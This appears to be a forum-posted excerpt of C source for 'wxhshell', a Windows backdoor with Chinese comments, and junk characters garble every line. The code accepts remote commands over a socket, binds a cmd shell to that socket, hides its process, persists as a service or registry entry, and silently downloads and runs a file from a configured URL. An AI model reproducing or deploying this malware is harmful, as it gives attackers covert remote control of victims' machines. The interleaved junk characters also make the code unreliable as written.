    switch(cmd[0]) { BXKlO(7  
  8iII) +  
  // 帮助 5yO#N2jY\  
  case '?': { 3> n2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pGZl.OI  
    break; |e.3FjTH  
  } cP$wI;P  
  // 安装 GA%"w=M\  
  case 'i': { Azdz3/  
    if(Install()) P|!/mu]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OXa5Jg}=  
    else BIHHRCe:@n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \]~kyy  
    break; ePPp)=  
    } 2\$WP-)%  
  // 卸载 l>[QrRXiSN  
  case 'r': { LRqw\fKk[  
    if(Uninstall()) -=v/p*v0o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q T0IW(A  
    else 6cgpg+-a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )\:lYI}Wpm  
    break; *cI6 &;y  
    }  !z "a_  
  // 显示 wxhshell 所在路径 3f7t%  
  case 'p': { }tl8(kjm  
    char svExeFile[MAX_PATH]; K2cpf  
    strcpy(svExeFile,"\n\r"); |P[D2R}  
      strcat(svExeFile,ExeFile); gpO_0U4lQ]  
        send(wsh,svExeFile,strlen(svExeFile),0); ,_TH@0{   
    break; s$+: F$Y0  
    } NL>[8#  
  // 重启 yC&b-y  
  case 'b': { US*<I2ZLh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GFy0R"&d[  
    if(Boot(REBOOT)) T[8"u<O96  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \V!X& a  
    else { MU^xu&MB  
    closesocket(wsh); S9F]!m^i  
    ExitThread(0); [/#k$-  
    } {TcbCjyw  
    break; $.x?in|_  
    } iJynR [7  
  // 关机 n79DS(t  
  case 'd': { g)zn.]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eA~_)-Z-  
    if(Boot(SHUTDOWN)) eiNk]KXAYX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'I$n  
    else { STF}~`b:3  
    closesocket(wsh); V+"*A  
    ExitThread(0); GQ8D j!8  
    } #k|g9`  
    break; }IalgQ(i  
    } sLpCWIy  
  // 获取shell U K]{]-  
  case 's': { v#YS`];B  
    CmdShell(wsh); vSHIl"h  
    closesocket(wsh); "n2xn%t{  
    ExitThread(0); OrKT~JQVC&  
    break; >-./kI "  
  } e>i8=U` ;  
  // 退出 O ]4 x;`)  
  case 'x': { Stp*JU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); { P\8g8  
    CloseIt(wsh); >i#_)th"U!  
    break; '%|20 j  
    } \"sSS.'  
  // 离开 *"9)a6T t+  
  case 'q': { jP7+s.j>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  6O|\4c;  
    closesocket(wsh); ur"e F  
    WSACleanup(); (k2J{6]  
    exit(1); 7<C~D,x6  
    break; WU4vb  
        } i6\!7D]  
  } odT7Gq  
  } />j+7ts  
BNKo6:wy  
  // 提示信息 & b^*N5<Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B,na  
} x2IU PM  
  } JI#Enh!Lv  
L|xen*O  
  return; &.bR1wX  
} *U^\Mwp  
zZjLt1  
// shell模块句柄 u g$\&rM>  
int CmdShell(SOCKET sock) Z=5}17kA  
{ YPJx/@Z`  
STARTUPINFO si; uP'w.nA&2  
ZeroMemory(&si,sizeof(si)); hZ /  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `F`'b)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FSZoT!  
PROCESS_INFORMATION ProcessInfo; Rb>RjHo S  
char cmdline[]="cmd"; %JH_Nw.P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &DhA$o"'  
  return 0; s!RA_%8/>  
} 1AEVZ@(j7  
M$hw(fC|m1  
// 自身启动模式 ..]X<  
int StartFromService(void) M[3w EX^  
{ [ BC%$Sj  
typedef struct ii] =C(e9  
{ ~^ 5n$jq  
  DWORD ExitStatus; 9QQ@Y}  
  DWORD PebBaseAddress; CR PE?CRQF  
  DWORD AffinityMask; )/i|"`)>_  
  DWORD BasePriority; 1^"aR#  
  ULONG UniqueProcessId; WuQ<AS=   
  ULONG InheritedFromUniqueProcessId; #1hz=~YO  
}   PROCESS_BASIC_INFORMATION; .AI'L|FQ%c  
[^BUhm3a  
PROCNTQSIP NtQueryInformationProcess; )B5gs%u]  
<XcMc<h~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JhXN8Bq33  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]?^xc[  
6)2M/(  
  HANDLE             hProcess; )tQ6rd'  
  PROCESS_BASIC_INFORMATION pbi; U.sPFt  
T9v#Jb6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fy-Z{  
  if(NULL == hInst ) return 0; j I@$h_n  
?RAR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); + d)~;I$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]f @LhC1x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fB"gM2'  
nKJ7K8)  
  if (!NtQueryInformationProcess) return 0; kITmo"$K  
ITY!=>S-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Hh=::Bi  
  if(!hProcess) return 0; 4O"kOEkKT>  
>{) #|pWU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _N#3lU?  
8GRr f2  
  CloseHandle(hProcess); !*. nR(>d  
0aoHv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mSw?iL  
if(hProcess==NULL) return 0; 9nAK6$/  
gbv[*R{<%  
HMODULE hMod; H D ^~4\%  
char procName[255]; ={vtfgxl  
unsigned long cbNeeded; &UH z  
s31_3?Vdf,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4z DAfi#0  
L*oL KigT  
  CloseHandle(hProcess); I{ZPv"9j^  
Zd/~ *ZA  
if(strstr(procName,"services")) return 1; // 以服务启动 &Zy=vk*  
;4#8#;  
  return 0; // 注册表启动 TUYl><F5v=  
} n|2-bRK-  
K T72D  
// 主模块 5kZ yiC*  
int StartWxhshell(LPSTR lpCmdLine) 6Tmb@<I_  
{ ^`5Yxpz  
  SOCKET wsl; !0+Ex F  
BOOL val=TRUE; yj9gN}+  
  int port=0; /s_$CSiB  
  struct sockaddr_in door; `3s-\>  
l:/V%{sx  
  if(wscfg.ws_autoins) Install();  +6-!o,(  
1OeDWEcB  
port=atoi(lpCmdLine); )O(Gw-jWE  
3<E$m *  
if(port<=0) port=wscfg.ws_port; v@SrEmg  
[cs8/Q8+  
  WSADATA data; OB@t(KNx*P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g o Z#  
`W S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~H~4 fp b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~[,TLg 6  
  door.sin_family = AF_INET; J0plQDe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +zPg`/  
  door.sin_port = htons(port); R7b*(33  
=D$r5D/xd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ->{WO+6(  
closesocket(wsl); /T'nY{  
return 1; bG?[":k  
} t!C-G+It  
F+r6/e6a  
  if(listen(wsl,2) == INVALID_SOCKET) { 2p[3Ap  
closesocket(wsl); {<8#T`I  
return 1; "& |2IA  
} ] 6B!eB !  
  Wxhshell(wsl); hY9u#3  
  WSACleanup(); )ISTb  
8RD)yRJ  
return 0; pU/.|Sh  
4w[ta?&6B  
} A+8b] t_k  
~'mhC46d  
// 以NT服务方式启动 ,Ou)F;r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EHjhe z  
{ ri`|qy6! |  
DWORD   status = 0; [AwE  
  DWORD   specificError = 0xfffffff; !d_A?q'hN  
P dnK@a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8~>3&jX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e /Y+S;a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x{5*%}lX8  
  serviceStatus.dwWin32ExitCode     = 0; PS1~6f"D  
  serviceStatus.dwServiceSpecificExitCode = 0; Yw `VL)v(y  
  serviceStatus.dwCheckPoint       = 0; $sJfxh r  
  serviceStatus.dwWaitHint       = 0; ?K#$81;[  
w5\)di  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \}W.RQ^3  
  if (hServiceStatusHandle==0) return; 2uEu,YC  
N*W.V,6yH  
status = GetLastError(); #1k,t  
  if (status!=NO_ERROR) oc Uu  
{ u6RHn;b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H_]kR&F8  
    serviceStatus.dwCheckPoint       = 0; | w -W=v  
    serviceStatus.dwWaitHint       = 0; H0 t1& :  
    serviceStatus.dwWin32ExitCode     = status; OwUbm0)h^V  
    serviceStatus.dwServiceSpecificExitCode = specificError; B\yid@e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yd'ke,Je  
    return; TXv#/@  
  } !y.7"G*  
3\ed4D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IuD<lMeJ J  
  serviceStatus.dwCheckPoint       = 0; 3.Kdz}  
  serviceStatus.dwWaitHint       = 0; }X-ggO,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qMOD TM~+  
} o~p^`5#  
0jH2. d=  
// 处理NT服务事件,比如:启动、停止 *1Q?~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vo()J4L  
{ xH uyfQLk  
switch(fdwControl) ww,'n{_  
{ Ns(F%zkm  
case SERVICE_CONTROL_STOP: @}:(t{>;e7  
  serviceStatus.dwWin32ExitCode = 0; fJKOuFK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {rQ`#?J}^?  
  serviceStatus.dwCheckPoint   = 0; ML-g"wv  
  serviceStatus.dwWaitHint     = 0; TuL( /  
  { W#7c`nm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,@xZuq+K<  
  } ;C'*Ui  
  return; mMH0 o  
case SERVICE_CONTROL_PAUSE: !WXSrICX[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /2(F  
  break; t|%ul6{gz  
case SERVICE_CONTROL_CONTINUE: RaR$lcG+iY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; : 7'anj  
  break; >Gkkr{s9  
case SERVICE_CONTROL_INTERROGATE: E8/P D  
  break; yA~W|q(/V  
}; N7XRk= J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y:O%xtGi  
} {=TD^>?  
"~tEmMz  
// 标准应用程序主函数 % %*t{0!H+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l&zd7BM9(  
{ a4?:suX$  
P:=3;d{v  
// 获取操作系统版本 ,{$:Q}`  
OsIsNt=GetOsVer(); Xr-eDUEi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *+5AN306  
CQS34&G$a  
  // 从命令行安装 YDP<  
  if(strpbrk(lpCmdLine,"iI")) Install(); t<rhrW75P  
 vO 3fAB  
  // 下载执行文件 2|+**BxHD  
if(wscfg.ws_downexe) { e(cctC|l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n(&6 E3ZcI  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;sDFTKf  
} Pl U!-7  
{A{=RPL  
if(!OsIsNt) { :*1bhk8~  
// 如果时win9x,隐藏进程并且设置为注册表启动 u>}k+8~  
HideProc(); ^8DC W`V  
StartWxhshell(lpCmdLine); qjuX1 6o  
} H'GyWG|Wx  
else d+$a5 [^9  
  if(StartFromService()) _&P![o)x  
  // 以服务方式启动 b2hB'!m  
  StartServiceCtrlDispatcher(DispatchTable); ~b*f2UVs  
else xI$B",?(  
  // 普通方式启动 'F1NBL   
  StartWxhshell(lpCmdLine); g9g^zd,  
CtS*"c,j  
return 0; S Bs_rhe  
}
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只看该作者 1 发表于: 2006-10-10
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